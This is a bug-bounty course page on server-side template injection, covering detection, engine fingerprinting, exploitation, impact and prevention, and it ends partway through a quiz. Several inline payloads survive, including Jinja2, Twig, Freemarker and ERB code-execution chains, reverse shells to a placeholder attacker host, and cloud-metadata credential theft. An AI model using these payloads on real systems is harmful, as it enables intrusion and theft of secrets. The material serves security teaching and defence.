SSTI
A complete guide to understanding, detecting, exploiting, and preventing SSTI vulnerabilities.
Introduction
Server-Side Template Injection (SSTI)
ANAS EDUCATION -- Bug Bounty & Pentesting Course (V2 Beginner-First)
SECTION 1. Introduction
Imagine you open your PC and visit `anasmarket.anastech.com`.
You sign up. The form asks for a display name. You type `Alex Doe`. You submit. A confirmation email arrives:
The greeting line is built like this on the server (Python + Flask + Jinja2):
The server picks the template engine Jinja2 to render the email body. `render_template_string(...)` takes a string, treats it as a Jinja2 template, evaluates any template syntax inside it, and returns the rendered result. With `user_display_name = "Alex Doe"`, the template contains no special syntax, so the engine just emits the string as-is. Normal. Expected.
Now look at the same picture again, but with a question on top of it: what if the user's display name did contain template syntax?
A Jinja2 template uses `{{ ... }}` to mean "evaluate the expression inside and put the result here". For example, `{{7*7}}` is an expression that evaluates to `49`. Inside a normal request, the user has no business writing `{{7*7}}` as a name. But there is nothing in the server code that prevents it. The user changes their display name to:
The next email arrives:
`49` is not a name. `49` is the server saying: "I read your name as a template expression and evaluated 7*7." That single observation is the entire vulnerability class: the server is treating user-provided data as part of the template program. In Jinja2, that program has full access to Python.
The next display name:
The next email leaks the Flask configuration including `SECRET_KEY`, database URI, and AWS credentials embedded in environment variables.
Then:
The email arrives:
Remote command execution as the web user. No SQL bug. No buffer overflow. No file upload. The user typed Python expressions as their display name and the server executed them.
This is Server-Side Template Injection (SSTI). The bug class that turns features designed to personalize content (emails, dashboards, error messages, custom templates) into a remote code execution engine.
This course teaches the SSTI bug class from zero. By the end you will know:
- ●Why template engines are programs and why user input must never become program code.
- ●How to fingerprint engines: Jinja2, Twig, Freemarker, Velocity, ERB, Handlebars, EJS, Pug, Razor, SpEL.
- ●How to detect with one probe and escalate to RCE.
- ●The 14 most reliable exploitation techniques (sandbox escape, attribute filters, WAF bypass, Tornado URL-encoded reverse shell, etc.).
- ●How to prevent with the one architectural rule: pass user input as data, never as template source.
You do not need to be an expert in templates. You need to understand that `{{7*7}}` returning `49` means the server just executed `7*7` as code.
SECTION 2. How It Works
To find these bugs you first need to understand what a template engine does and where the security boundary lives.
Step 1. What a template engine is
A template engine takes:
- ●A template string with placeholders (written by the developer).
- ●A data dictionary with values (built from runtime input).
And produces a rendered string by substituting placeholders with values. Example in Jinja2:
The placeholder `{{name}}` means "look up `name` in the data dictionary and insert the value". Templates are not just strings; they are tiny programs. The engine parses them, evaluates expressions, calls functions, and accesses attributes.
Step 2. The two worlds: template space vs data space
Templates live in template space (trusted, written by the developer). User input lives in data space (untrusted, never evaluated). The wall between them is the entire security model.
Step 3. The fatal substitution
SSTI happens when user input crosses the wall and lands in template space.
Safe pattern (user input as data):
Vulnerable pattern (user input concatenated into template source):
In the first, the engine evaluates a fixed template and substitutes the value. The user can write `{{cycler.__init__...}}` all day and it never gets evaluated as code; it is just a string inserted into the rendered output.
In the second, the user's input IS the template source. Whatever expressions the user writes get evaluated.
Step 4. The damage scales with the engine
In most modern engines, SSTI is RCE by default.
Step 5. The SSTI lifecycle
Step 6. Auto-escape does not prevent SSTI
Many engines auto-escape rendered output to prevent XSS. Auto-escape replaces `<`, `>`, `&`, `"`, `'` with HTML entities. This protects HTML output. It does nothing about template expression evaluation, because the expression is evaluated BEFORE the output is escaped. SSTI runs in a different layer entirely.
SECTION 3. Attack Flow
The walkthrough below shows a complete SSTI attack against a Flask + Jinja2 backend.
Step 1: Recon
Identify every field whose value is rendered back somewhere: profile name, bio, comment, support ticket, error message, redirect destination, shareable note, marketing template, custom dashboard widget.
Step 2: Universal detection probe
For each input, submit:
If the output (page, email, error message) contains `49`, the engine evaluated your input. SSTI confirmed.
Step 3: Engine fingerprinting
Send a small fingerprint set:
Compare outputs to the fingerprint table; identify the engine.
Step 4: Information disclosure
Try engine-specific introspection:
If secrets leak, document and move on to RCE.
Step 5: RCE chain
Use the engine-specific chain. For Jinja2:
If the output contains `uid=`, RCE confirmed.
Step 6: Reverse shell (with care for special characters)
Special characters often break HTTP parsers; URL-encode the entire payload. For Tornado-style engines, write the command to a file first to avoid `>&` parsing issues:
URL-encoded:
Step 7: Document
Save the engine, the exact payload, the exact response, and the chain that proves command execution.
ASCII timing diagram
SECTION 4. Why Developers Make This Mistake
SSTI is a mental-model error. Developers confuse three layers that look alike but are very different.
Mistake 1: "Template engines are HTML escapers"
False. They are full expression evaluators. HTML escaping is a feature; expression evaluation is the purpose.
Mistake 2: "If I escape `<` and `>`, I am safe"
SSTI needs no angle brackets. `{{ ... }}`, `${ ... }`, `<%= %>`, `#{ ... }`, `@( ... )` are template syntax; they pass through any HTML escaper unscathed.
Mistake 3: "Only my marketing team can edit templates"
Any feature that lets a user provide a string that ends up as part of a template -- profile name, support ticket body, custom dashboard widget, error message -- is a vulnerability.
Mistake 4: "Auto-escape protects me"
Auto-escape prevents XSS by escaping the RENDERED output. SSTI is evaluated BEFORE rendering. Auto-escape is the wrong layer.
Mistake 5: "I use a sandboxed engine, so I am safe"
Sandboxes can be escaped. Jinja2's sandbox has documented escape chains. Twig's sandbox extension can be bypassed if it is misconfigured. Treat sandboxes as defense in depth, never as the only defense.
Mistake 6: "Personalization is too simple to be dangerous"
Personalization is exactly where SSTI lives. The bug is the concatenation, not the complexity.
SECTION 5. Beginner Summary
- ●SSTI happens when user input becomes part of the template source rather than a data value passed to the engine.
- ●The template engine evaluates the input as code: math, attribute access, function calls, in many engines all the way to OS commands.
- ●Detection is one probe: `{{7*7}}`. If the response contains `49`, the bug exists. Then fingerprint and escalate.
- ●In most engines (Jinja2, Tornado, Freemarker, Velocity, ERB, EJS, Pug, Razor, SpEL), SSTI leads directly to remote code execution.
- ●Prevention is one rule: never concatenate user input into a template source string. Always pass it as a data value through the engine's variable substitution mechanism.
SECTION 6. Visual Explanation
Safe vs vulnerable
The five families of SSTI
The fingerprinting table
SECTION 7. Definition
Technical definition
Server-Side Template Injection is a vulnerability in which user-supplied input is incorporated into a template source string and subsequently parsed and evaluated by a server-side template engine, allowing an attacker to inject template-language expressions that the engine executes -- typically leading to sensitive information disclosure and remote code execution.
- ●CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine
- ●CWE-94: Improper Control of Generation of Code (Code Injection)
- ●OWASP Top 10 (2021): A03 Injection
- ●Named and popularized by James Kettle (PortSwigger) in 2015.
Beginner-friendly definition
SSTI is when a website lets you type code that the server then runs as part of its template.
Why it matters
SSTI is one of the most powerful web vulnerabilities. Recent incidents and disclosures:
- ●CVE-2022-22954 (VMware Workspace ONE Access SSTI), CVSS 9.8, unauthenticated RCE: https://nvd.nist.gov/vuln/detail/CVE-2022-22954
- ●CVE-2022-26134 (Atlassian Confluence OGNL injection / template-class), CVSS 9.8, unauthenticated RCE: https://nvd.nist.gov/vuln/detail/CVE-2022-26134
- ●CVE-2019-19844 (Django password reset Unicode case-fold) -- template-adjacent.
- ●PortSwigger Research, James Kettle (2015): https://portswigger.net/research/server-side-template-injection -- the whitepaper that named the class.
- ●Uber rider.uber.com Jinja2 SSTI, HackerOne disclosed: https://hackerone.com/reports/125980 -- canonical real-world example with `{{ '7'*7 }}` returning `7777777` in the welcome email.
- ●Unikrn Smarty SSTI: https://hackerone.com/reports/164224.
- ●Glovo signup First Name SSTI: https://hackerone.com/reports/1104349.
- ●Internet Bug Bounty -- Ruby SSTI, paid $2,300+: https://hackerone.com/reports/1928279.
- ●Uber developer.uber.com Angular CSTI (related, client-side variant): https://hackerone.com/reports/125027.
- ●HackerOne corpus -- top SSTI reports: https://github.com/reddelexc/hackerone-reports/blob/master/tops_by_bug_type/TOPSSTI.md.
Common affected systems
- ●CMS systems with custom templates.
- ●Email engines that personalize messages with user data.
- ●Marketing automation platforms with merge tags.
- ●Low-code platforms that allow users to define their own template snippets.
- ●Internal admin tools with string-concatenated templates.
- ●Error pages that include request parameters.
- ●PDF generators using template engines for layout.
- ●Help-system / support tooling rendering ticket text.
- ●Customer-portal "personalize your dashboard" features.
If a feature lets a user provide a string that becomes part of a server-side template, SSTI may live there.
SECTION 8. Examples
Example 1. AnasMarket Jinja2 email greeting
The feature. AnasMarket sends an order-confirmation email. The template is constructed by string concatenation:
The bug. User input becomes the template. Jinja2 evaluates any `{{...}}`.
The attack step by step.
- ●Step 1: set profile name to `{{7*7}}`.
- ●Step 2: trigger the order email; preview shows `Hello 49, ...`.
- ●Step 3: set name to `{{cycler.__init__.__globals__.os.popen('id').read()}}`.
- ●Step 4: email leaks `uid=33(www-data)`.
- ●Step 5: escalate to reverse shell.
Example 2. AnasSocial Twig comment renderer
The feature. AnasSocial renders comments through Twig with a custom helper that builds the template dynamically:
The bug. `createTemplate` treats the argument as template source.
The attack step by step.
- ●Step 1: post comment `{{7*7}}`. Display shows `49`.
- ●Step 2: post `{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}`.
- ●Step 3: Twig sandbox cracks; command execution.
Example 3. AnasCorp Freemarker reporting engine
The feature. AnasCorp's internal reporting tool lets analysts write report titles using Freemarker syntax for date formatting:
The bug. `reportTitle` is user-provided and used as template source.
The attack step by step.
- ●Step 1: title `${7*7}` -> `49`.
- ●Step 2: title `<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}`.
- ●Step 3: shell command runs as the report-server user.
Example 4. AnasOne ERB admin dashboard widgets
The feature. AnasOne's admin panel allows admins to write custom dashboard widgets using ERB syntax:
The bug. Even though only admins can author widgets, any compromised admin account becomes full RCE because ERB is full Ruby.
The attack step by step.
- ●Step 1: widget contains `<%= `id` %>` -> command output.
- ●Step 2: replace with `<%= \`bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\` %>` -> reverse shell.
Example 5. AnasDocs Tornado SSTI with URL-encoded reverse shell
The feature. An AnasDocs microservice uses Tornado. It accepts a `name` query parameter and renders it in a welcome page:
The bug. Tornado evaluates `{{...}}` similar to Jinja2.
The attack step by step.
- ●Step 1: probe `?name={{7*7}}` -> `49`.
- ●Step 2: try `?name={{ __import__('os').system('bash -i >& /dev/tcp/ATTACKER/4444 0>&1') }}` -- Tornado returns 512 because raw `>&` breaks parsing.
- ●Step 3: switch to a multi-step payload that writes the shell to disk:
- ●Step 4: URL-encode the entire payload:
- ●Step 5: response code becomes 0 (success); reverse shell lands.
SECTION 9. Vulnerable Code
Python (Flask + Jinja2) -- critical SSTI
- ●User input concatenated into template source.
- ●`render_template_string` evaluates the result as a Jinja2 template.
Python (Tornado) -- critical SSTI
PHP (Twig) -- dangerous pattern
`createTemplate` accepts a string as template source.
Java (Freemarker) -- critical SSTI
Ruby (ERB) -- critical SSTI
ERB exposes Ruby completely.
Node.js (Handlebars misuse)
Node.js (EJS) -- critical SSTI
Node.js (Pug)
.NET (Razor) -- critical SSTI
Razor is full C#.
Spring (SpEL evaluation of user input)
SpEL injection ladders directly to RCE via `T(java.lang.Runtime).getRuntime().exec(...)`.
The universal pattern
- ●1. Read user input.
- ●2. Concatenate it into a string that becomes the template source (or pass it directly to the engine's "compile from string" function).
- ●3. The engine evaluates the result as a template program.
- ●4. Whatever expressions the user wrote get executed.
Step 2 is where the bug is born.
SECTION 10. Detection
Manual workflow
- ●Step 1: identify every input that could end up in a rendered page, email, error message, or PDF: profile name, bio, search box, comment, signature, custom widget body, error message templates, redirect target, shareable note, merge tags, marketing templates.
- ●Step 2: submit the universal probe `{{7*7}}` in each field.
- ●Step 3: if the output contains `49`, the engine evaluated the input. SSTI confirmed.
- ●Step 4: if `{{7*7}}` fails, walk the fingerprint set: `${7*7}`, `<%=7*7%>`, `#{7*7}`, `@(7*7)`, `${{7*7}}`, `{{'7'*7}}`, `{$smarty.version}`, `{{= 7*7 }}`.
- ●Step 5: once an engine is identified, escalate with engine-specific introspection (see section 11).
Engine fingerprinting table
Burp Suite
- ●Send the request through Proxy, then to Intruder.
- ●Use the fingerprint payload set as Intruder input.
- ●Grep responses for `49`, `7777777`, math-result strings.
- ●Use Burp Active Scanner to catch common SSTI shapes.
- ●Use Backslash Powered Scanner (James Kettle BApp) which catches SSTI via differential analysis.
Automated tools
- ●Tplmap (the classic, supports 15+ engines): https://github.com/epinna/tplmap
- ●SSTImap (modern fork with newer engines and active maintenance): https://github.com/vladko312/SSTImap
- ●Burp Backslash Powered Scanner by James Kettle.
- ●Nuclei templates under `http/vulnerabilities/generic/` for SSTI patterns.
Indicators of vulnerability
- ●Application emails personalize with user-provided text.
- ●Error messages echo user input.
- ●A form field labeled "template", "merge tag", "format", "expression", "custom layout".
- ●Marketing, CMS, internal admin features with template editors.
- ●Stack traces revealing engine names (Jinja2, Freemarker, Velocity).
- ●Multi-tenant SaaS where users define their own UI snippets.
- ●Help-system features rendering ticket bodies into HTML or PDF.
- ●PDF generators using server-side templates.
If the application takes a string from you and renders it back, SSTI may live there.
SECTION 11. Exploitation
Workflow
- ●1. Detect with the `{{7*7}}` family of probes.
- ●2. Fingerprint the engine via syntax differences.
- ●3. Read the engine's documentation; identify dangerous primitives.
- ●4. Build payloads that escalate math eval -> info disclosure -> RCE.
- ●5. Encode payloads for safe HTTP transport (URL encoding for special characters).
- ●6. Drop a shell or exfiltrate sensitive files.
- ●7. Document with screenshots and exact payloads.
Techniques
1. Jinja2 sandbox escape (classic chain)
2. Jinja2 class walking
The `INDEX` of `subprocess.Popen` varies between Python versions. Use:
to find the index locally on a matching Python version.
3. Twig sandbox bypass
Twig 1.x exposed `_self.env`. Twig 2+ is harder but vulnerable when the sandbox extension is disabled.
4. Freemarker Execute utility (Java reflection)
5. Velocity Java reflection
6. Handlebars `constructor.constructor` to RCE
7. ERB full Ruby execution
8. EJS Node `require` chain
9. Pug/Jade global access
10. Razor .NET execution
11. Hex-encoded WAF bypass (Jinja2 attribute filter)
When the WAF blocks `__class__` or `__globals__`, use hex encoding through `|attr`:
When `.` is filtered, use `|attr('name')`:
When `_` is filtered, use string concatenation:
When `[]` is filtered, use `getitem`:
When `{{` is filtered, use `{%`:
12. Tornado URL-encoded reverse shell (multi-step shell drop)
When the engine refuses raw `&`, `>`, `<`, or pipe characters, write the command to a file first:
URL-encode the whole thing:
If response code is 0, the command ran. If response is 512, the engine rejected; switch to `subprocess.Popen`:
13. Out-of-band (blind) SSTI exfiltration
When output is not echoed back:
14. Information disclosure via context dumps
- ●Jinja2/Flask: `{{config}}`, `{{request}}`, `{{session}}`.
- ●Django: `{% debug %}`, `{{ settings.SECRET_KEY }}`.
- ●Tornado: `{{handler}}`, `{{request}}`.
- ●Twig: `{{dump(app)}}`, `{{_self}}`, `{{_context}}`.
15. Spring SpEL injection
16. Custom-method business-logic SSTI
When the engine exposes application-specific methods (e.g., `user.gdprDelete()`, `user.setAvatar(file_path)`), chain those for impact even when generic RCE is sandboxed.
Common mistakes
- ●Testing only `{{7*7}}` and giving up when it fails. Always run the full fingerprint set.
- ●Confusing client-side template injection (AngularJS, Vue) with server-side. CSTI is XSS-class, SSTI is RCE-class.
- ●Forgetting to URL-encode payloads with `>`, `&`, `<`, quotes.
- ●Stopping at "math works" without escalating to RCE.
- ●Reporting `49` as critical without proving RCE or sensitive data access.
- ●Not trying alternative tags (Jinja2 has `{{}}`, `{%%}`, `{##}`).
SECTION 12. Proof of Concept
Burp Suite
- ●1. Capture the request containing the user-controlled field.
- ●2. Send to Repeater.
- ●3. Replace input with `{{7*7}}`. Send. If `49` appears, SSTI confirmed.
- ●4. Try engine-specific RCE chain.
- ●5. URL-encode special characters for transport.
- ●6. Save request/response pair.
Python detection PoC
Python Jinja2 RCE PoC
Bash Tornado reverse-shell PoC
PowerShell PoC
Node.js PoC
Tplmap
SSTImap (modern fork)
SECTION 13. Payloads
Universal detection
Jinja2 (Python)
Twig (PHP)
Freemarker (Java)
Velocity (Java)
ERB (Ruby)
Handlebars (Node.js)
EJS (Node.js)
Pug/Jade (Node.js)
Razor (.NET)
Mustache (logic-less)
Spring SpEL
Django
Smarty (PHP)
WAF-bypass set (Jinja2)
Tornado URL-encoded reverse shell
SECTION 14. Wordlists and Payload Libraries
- ●PayloadsAllTheThings -- Server Side Template Injection: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
- ●HackTricks -- SSTI: https://hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection
- ●PortSwigger Web Security Academy -- SSTI: https://portswigger.net/web-security/server-side-template-injection
- ●PortSwigger Research -- Server-Side Template Injection (James Kettle, 2015): https://portswigger.net/research/server-side-template-injection
- ●Tplmap (15+ engines): https://github.com/epinna/tplmap
- ●SSTImap (modern fork): https://github.com/vladko312/SSTImap
- ●YesWeHack -- Quote-less SSTI exploitation: https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation
- ●OnSecurity -- Jinja2 SSTI deep dive: https://onsecurity.io/article/server-side-template-injection-with-jinja2/
- ●Intigriti -- SSTI guide: https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-server-side-template-injection-ssti
- ●OWASP Testing Guide -- Testing for SSTI: https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server-side_Template_Injection
- ●OWASP SSTI Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Template_Injection.html
- ●reddelexc Top SSTI reports: https://github.com/reddelexc/hackerone-reports/blob/master/tops_by_bug_type/TOPSSTI.md
- ●Anas Magane Pentesting Notes -- SSTI: https://github.com/Anas-Magane/Pentesting/tree/main/TOP_10_OWASP
Practical advice
- ●Keep an engine-fingerprint table on hand at all times.
- ●Maintain a personal cheat sheet with the canonical RCE chain per engine.
- ●Save the Tornado URL-encoded reverse-shell payload as a template; many engagements end with it.
- ●Always run both Tplmap and SSTImap; their detection sets are slightly different.
SECTION 15. Impact
Step 1: math evaluation proven
`{{7*7}}` returns `49`. Proof of concept; not yet impactful.
Step 2: context dump
`{{config}}`, `{{settings.SECRET_KEY}}`, `{% debug %}` leak application secrets, DB URI, AWS credentials, signing keys.
Step 3: file read
`{{cycler.__init__.__globals__.open('/etc/passwd').read()}}` -- arbitrary file read as the web user.
Step 4: remote code execution
`{{cycler.__init__.__globals__.os.popen('id').read()}}` -- full RCE.
Step 5: cloud-credential theft
`{{cycler.__init__.__globals__.os.popen('curl 169.254.169.254/latest/meta-data/iam/security-credentials/').read()}}` -- IAM credentials.
Step 6: K8s service-account theft
Read `/run/secrets/kubernetes.io/serviceaccount/token` -- cluster takeover.
Step 7: source-code disclosure
Read application Python/PHP files; find further bugs (hardcoded secrets, SQLi, auth bypass).
Step 8: persistence
Drop a webshell or modify a template file; reach back later.
Step 9: lateral movement
Stolen SSH keys, cloud creds, internal HTTP endpoints reached from the web tier.
Step 10: database access
RCE in the web tier often means full DB access as the application user.
Step 11: mass impact
SSTI in a marketing automation tool or CMS plugin can affect every tenant on the platform.
Step 12: regulatory and contractual fallout
GDPR, HIPAA, PCI DSS, SOC2 violations once customer data is exfiltrated.
Step 13: brand and trust damage
Public SSTI disclosures regularly become Twitter/HackerNews headlines.
Step 14: long-tail cost
Forensic investigation, mandatory audits, insurance premium spikes, churn from enterprise customers.
Step 15: catastrophic worst case
SaaS provider compromised -> every customer's data exposed simultaneously (the VMware Workspace ONE pattern).
SECTION 16. Prevention
The fix is structural: user input must never become part of the template source. Always pass it as a data value.
Vulnerable example
Safe example
- ●The template is fixed and written by the developer.
- ●User input flows in as a value through the engine's variable substitution.
- ●The engine never evaluates user input as code.
Six rules to eliminate SSTI
- ●1. Never pass user input as template source.
- ●2. Use the data-passing form of every render API.
- ●3. When users must customize content, use a logic-less engine (Mustache, Liquid in restricted mode).
- ●4. Sandbox the engine when user-controlled templates are unavoidable (Jinja2 `SandboxedEnvironment`, Twig `SandboxExtension`). Treat as defense in depth, never primary.
- ●5. Run rendering in a restricted container with no network, minimal filesystem access, and no critical secrets in environment variables.
- ●6. Audit every place a template is constructed dynamically. Grep for `compile`, `render_string`, `Template(`, `ERB.new(`, `createTemplate`, and similar primitives.
Safe patterns by engine
Flask + Jinja2
Twig
Freemarker
ERB (avoid user-supplied templates entirely)
Node.js (EJS / Handlebars)
Sandboxing (defense in depth)
Jinja2 SandboxedEnvironment
Even with `SandboxedEnvironment`, never put user input on the template-source side. Sandboxes have documented escape chains.
Twig SandboxExtension
Developer checklist
- ●No render call ever receives a string that contains user input.
- ●All templates are static and live in version control.
- ●User data flows through variable substitution only.
- ●Engine is sandboxed if user-defined templates are unavoidable.
- ●Code review checklist explicitly lists "no SSTI patterns".
- ●Sensitive secrets are not in environment variables accessible to templates.
- ●Rendering runs in a container without network access where possible.
- ●CI pipeline scans for SSTI sinks (Semgrep, CodeQL rules).
- ●All custom merge-tag systems are reviewed for expression evaluation.
- ●Auto-escape is enabled for XSS defense in depth (does not stop SSTI).
Enterprise mitigations
- ●Sandbox the render service in a dedicated container with seccomp and AppArmor profiles.
- ●Run as unprivileged user with read-only filesystem.
- ●Network segmentation preventing the render service from reaching internal databases or cloud metadata.
- ●Audit logging of every template render call with user-controlled inputs.
- ●Bug bounty programs scoped to include SSTI explicitly.
- ●WAF rules for common SSTI payload patterns as defense in depth (not primary).
- ●SAST rules that flag `render_template_string`, `createTemplate`, `ERB.new`, `Template(... StringReader ...)`, `handlebars.compile`, `ejs.compile`, `Razor.Parse` with non-constant arguments.
SECTION 17. Real-World Cases
CVE library (with NVD URLs)
- ●CVE-2022-22954 (VMware Workspace ONE Access SSTI), CVSS 9.8, unauthenticated RCE via Freemarker injection in catalog endpoint: https://nvd.nist.gov/vuln/detail/CVE-2022-22954. Mass-exploited within days of disclosure.
- ●CVE-2022-26134 (Atlassian Confluence OGNL injection), CVSS 9.8, unauthenticated RCE through a crafted URL. Exploited in the wild for weeks; emergency weekend patch: https://nvd.nist.gov/vuln/detail/CVE-2022-26134.
- ●CVE-2019-19844 (Django password reset Unicode case-fold) -- template-adjacent flaw: https://nvd.nist.gov/vuln/detail/CVE-2019-19844.
- ●CVE-2022-22965 (Spring4Shell, SpEL evaluation), CVSS 9.8 -- related SpEL-injection lineage: https://nvd.nist.gov/vuln/detail/CVE-2022-22965.
Foundational research
- ●PortSwigger Research, James Kettle (2015): https://portswigger.net/research/server-side-template-injection -- the paper that named the class and demonstrated SSTI in Jinja2, Twig, Velocity, Smarty, ERB.
- ●YesWeHack Research (Brumens) -- quote-less SSTI: https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation -- advanced bypass techniques.
- ●OnSecurity -- Jinja2 SSTI deep dive: https://onsecurity.io/article/server-side-template-injection-with-jinja2/.
Real disclosed HackerOne reports
- ●Uber rider.uber.com Flask Jinja2 SSTI (canonical real-world report): https://hackerone.com/reports/125980. Setting profile name to `{{ '7'*7 }}` returned `7777777` in the account-update email -- escalated to RCE.
- ●Unikrn Smarty SSTI: https://hackerone.com/reports/164224.
- ●Glovo signup First Name SSTI: https://hackerone.com/reports/1104349.
- ●Internet Bug Bounty -- Ruby SSTI, paid $2,300: https://hackerone.com/reports/1928279.
- ●Uber developer.uber.com Angular client-side template injection (related but client-side): https://hackerone.com/reports/125027.
- ●Mars Wrigley client-side template injection: https://hackerone.com/reports/2234564.
- ●HackerOne corpus -- Top SSTI reports: https://github.com/reddelexc/hackerone-reports/blob/master/tops_by_bug_type/TOPSSTI.md.
Lessons learned
- ●SSTI ships at every scale, from solo SaaS projects to Fortune 500 platforms (Uber, VMware, Atlassian).
- ●The most common entry point is a personalization feature nobody flagged as risky.
- ●Bug bounty payouts for SSTI regularly hit $5,000 to $100,000 on critical platforms.
- ●The fix is universally the same: stop concatenating user input into templates.
- ●New research keeps producing fresh bypasses (quote-less, Unicode, sandbox-escape variations) -- the bug class is far from solved.
SECTION 18. References
- ●PortSwigger Research -- Server-Side Template Injection: https://portswigger.net/research/server-side-template-injection
- ●PortSwigger Web Security Academy -- SSTI: https://portswigger.net/web-security/server-side-template-injection
- ●OWASP Testing Guide -- Testing for SSTI: https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/07-Input_Validation_Testing/18-Testing_for_Server-side_Template_Injection
- ●OWASP SSTI Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Template_Injection.html
- ●CWE-1336 Improper Neutralization of Special Elements Used in a Template Engine: https://cwe.mitre.org/data/definitions/1336.html
- ●CWE-94 Improper Control of Generation of Code: https://cwe.mitre.org/data/definitions/94.html
- ●PayloadsAllTheThings -- SSTI: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
- ●HackTricks -- SSTI: https://hacktricks.wiki/en/pentesting-web/ssti-server-side-template-injection
- ●Exploit Notes (hdks) SSTI cheat sheet: https://exploit-notes.hdks.org/exploit/web/security-risk/ssti
- ●YesWeHack -- Advanced SSTI exploitation: https://www.yeswehack.com/learn-bug-bounty/server-side-template-injection-exploitation
- ●OnSecurity Jinja2 SSTI deep dive: https://onsecurity.io/article/server-side-template-injection-with-jinja2/
- ●Intigriti SSTI guide: https://www.intigriti.com/researchers/blog/hacking-tools/exploiting-server-side-template-injection-ssti
- ●Tplmap: https://github.com/epinna/tplmap
- ●SSTImap: https://github.com/vladko312/SSTImap
- ●CVE-2022-22954 (VMware Workspace ONE): https://nvd.nist.gov/vuln/detail/CVE-2022-22954
- ●CVE-2022-26134 (Confluence OGNL): https://nvd.nist.gov/vuln/detail/CVE-2022-26134
- ●CVE-2022-22965 (Spring4Shell): https://nvd.nist.gov/vuln/detail/CVE-2022-22965
- ●reddelexc Top SSTI reports: https://github.com/reddelexc/hackerone-reports/blob/master/tops_by_bug_type/TOPSSTI.md
- ●Anas Magane Pentesting Notes -- SSTI: https://github.com/Anas-Magane/Pentesting/tree/main/TOP_10_OWASP
SECTION 19. Practical Labs
Planned ANAS SSTI Labs (SOON)
- ●ANAS-SSTI-01 -- AnasMarket Jinja2 Email Greeting (basic), beginner
- ●ANAS-SSTI-02 -- AnasMarket Jinja2 RCE via cycler chain, beginner-intermediate
- ●ANAS-SSTI-03 -- AnasSocial Twig Sandbox Bypass, intermediate
- ●ANAS-SSTI-04 -- AnasCorp Freemarker Reporting Engine RCE, intermediate
- ●ANAS-SSTI-05 -- AnasOne ERB Admin Dashboard Widget RCE, intermediate
- ●ANAS-SSTI-06 -- AnasMarket Handlebars constructor.constructor, intermediate
- ●ANAS-SSTI-07 -- AnasDocs Tornado URL-Encoded Reverse Shell, advanced
- ●ANAS-SSTI-08 -- AnasMarket Hex-Encoded WAF Bypass (|attr filter), advanced
- ●ANAS-SSTI-09 -- AnasOne Blind SSTI with DNS Exfiltration, advanced
- ●ANAS-SSTI-10 -- AnasBank Spring SpEL Injection to RCE, advanced
- ●ANAS-SSTI-11 -- AnasMarket Information Disclosure via {{config}} + {{settings}}, intermediate
- ●ANAS-SSTI-12 -- AnasCorp Sandboxed Jinja2 Escape via Custom Method Chain, expert
- ●ANAS-SSTI-13 -- AnasOne EJS require('child_process') RCE, intermediate
- ●ANAS-SSTI-14 -- AnasMarket Pug Global Access RCE, intermediate
- ●ANAS-SSTI-15 -- AnasMarket Razor System.Diagnostics RCE (Windows), advanced
PortSwigger Web Security Academy SSTI labs
- ●Basic server-side template injection (APPRENTICE): https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-basic
- ●Basic server-side template injection (code context) (PRACTITIONER): https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-basic-code-context
- ●Server-side template injection using documentation (PRACTITIONER): https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-using-documentation
- ●Server-side template injection in an unknown language with a documented exploit (PRACTITIONER): https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-in-an-unknown-language-with-a-documented-exploit
- ●Server-side template injection with information disclosure via user-supplied objects (PRACTITIONER): https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-with-information-disclosure-via-user-supplied-objects
- ●Server-side template injection in a sandboxed environment (EXPERT): https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-in-a-sandboxed-environment
- ●Server-side template injection with a custom exploit (EXPERT): https://portswigger.net/web-security/server-side-template-injection/exploiting/lab-server-side-template-injection-with-a-custom-exploit
Self-hosted lab targets
- ●Flask-Vulnerable-App (Jinja2 SSTI training): community projects on GitHub.
- ●Tplmap demo apps in the tplmap repo.
- ●Vulhub container scenarios for Freemarker, Velocity, ERB, EJS.
Lab progression
- ●Week 1: PortSwigger Apprentice + ANAS-SSTI-01 + sections 1-8 of this course.
- ●Week 2: PortSwigger Practitioner labs + ANAS-SSTI-02/03/04 + read 5 disclosed reports in section 17.
- ●Week 3: PortSwigger sandboxed SSTI + ANAS-SSTI-05/06/11 + replicate Uber report locally.
- ●Week 4: Tornado URL-encoded shell + ANAS-SSTI-07/08/09.
- ●Week 5: PortSwigger custom exploit + ANAS-SSTI-10/12/13/14/15.
SECTION 20. Cheat Sheet
SECTION 21. Exam
Thirty multiple-choice questions. Answer key at the end.
- ●1. What does SSTI stand for?
A) Server-Side Template Injection B) Server-Side Token Injection C) Secure Server Template Insertion D) System-Side Template Inclusion
- ●2. The classic SSTI detection probe is:
A) `' OR 1=1--` B) `<script>alert(1)</script>` C) `{{7*7}}` D) `../../../etc/passwd`
- ●3. If `{{7*'7'}}` returns `7777777`, the engine is most likely:
A) Twig B) Jinja2 / Python (Tornado) C) Freemarker D) Razor
- ●4. If `${7*7}` returns `49`, the engine family is likely:
A) Jinja2 B) ERB C) Freemarker / Velocity / Spring SpEL D) Mustache
- ●5. SSTI most commonly leads to:
A) XSS only B) Remote code execution C) SQL injection D) CSRF
- ●6. Which CWE matches SSTI most directly?
A) CWE-79 B) CWE-1336 C) CWE-89 D) CWE-22
- ●7. The root cause of SSTI is:
